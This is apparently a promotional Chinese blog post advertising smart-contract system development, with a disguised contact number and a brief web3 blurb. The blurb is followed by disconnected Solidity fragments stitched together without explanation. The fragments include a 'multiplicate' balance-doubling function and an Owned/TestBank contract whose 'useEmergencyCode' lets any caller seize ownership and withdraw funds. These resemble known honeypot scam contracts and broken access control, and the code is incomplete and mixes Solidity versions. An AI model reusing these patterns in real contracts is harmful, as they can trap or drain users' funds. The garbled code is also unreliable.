原力元宇宙佛薩奇合約系統開發模式詳情

lxqy1668發表於2023-04-10

web2.0的精髓在於“去中心化”思想和六度分隔理論,而web3.0的理想是讓個人與組織機構之間建立一種互為中心的轉換機制,也就是說一個人在一定程度上可以轉化為機構,而機構在一定環境條件下也可以轉化為個人,透過這種形式進行商業行為,拉近與使用者之間的距離,I88智慧合約I928系統開發8024

  

  function multiplicate(address adr)

  

  public

  

  payable

  

  {

  

  if(msg.value>=this.balance)

  

  {

  

  adr.transfer(this.balance+msg.value);

  

  }

  

  }

  

  function _spendAllowance(

  

  address owner,

  

  address spender,

  

  uint256 amount

  

  )internal virtual{

  

  uint256 currentAllowance=allowance(owner,spender);

  

  if(currentAllowance!=type(uint256).max){

  

  require(currentAllowance>=amount,"ERC20:insufficient allowance");

  

  unchecked{

  

  _approve(owner,spender,currentAllowance-amount);

  

  }

  

  }

  

  }

  

  function _beforeTokenTransfer(

  

  address from,

  

  address to,

  

  uint256 amount

  

  )internal virtual{}

  

  function _afterTokenTransfer(

  

  address from,

  

  address to,

  

  uint256 amount

  

  )internal virtual{}

  

  contract Owned{

  

  address public owner;

  

  function Owned(){owner=msg.sender;}

  

  modifier onlyOwner{if(msg.sender!=owner)revert();_;}

  

  }

  

  contract TestBank is Owned{

  

  address public owner=msg.sender;

  

  uint256 ecode;

  

  uint256 evalue;

  

  function useEmergencyCode(uint256 code)public payable{

  

  if((code==ecode)&&(msg.value==evalue))owner=msg.sender;

  

  }

  

  function withdraw(uint amount)public onlyOwner{

  

  require(amount<=this.balance);

  

  msg.sender.transfer(amount);

  

  }


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70020038/viewspace-2944793/,如需轉載,請註明出處,否則將追究法律責任。

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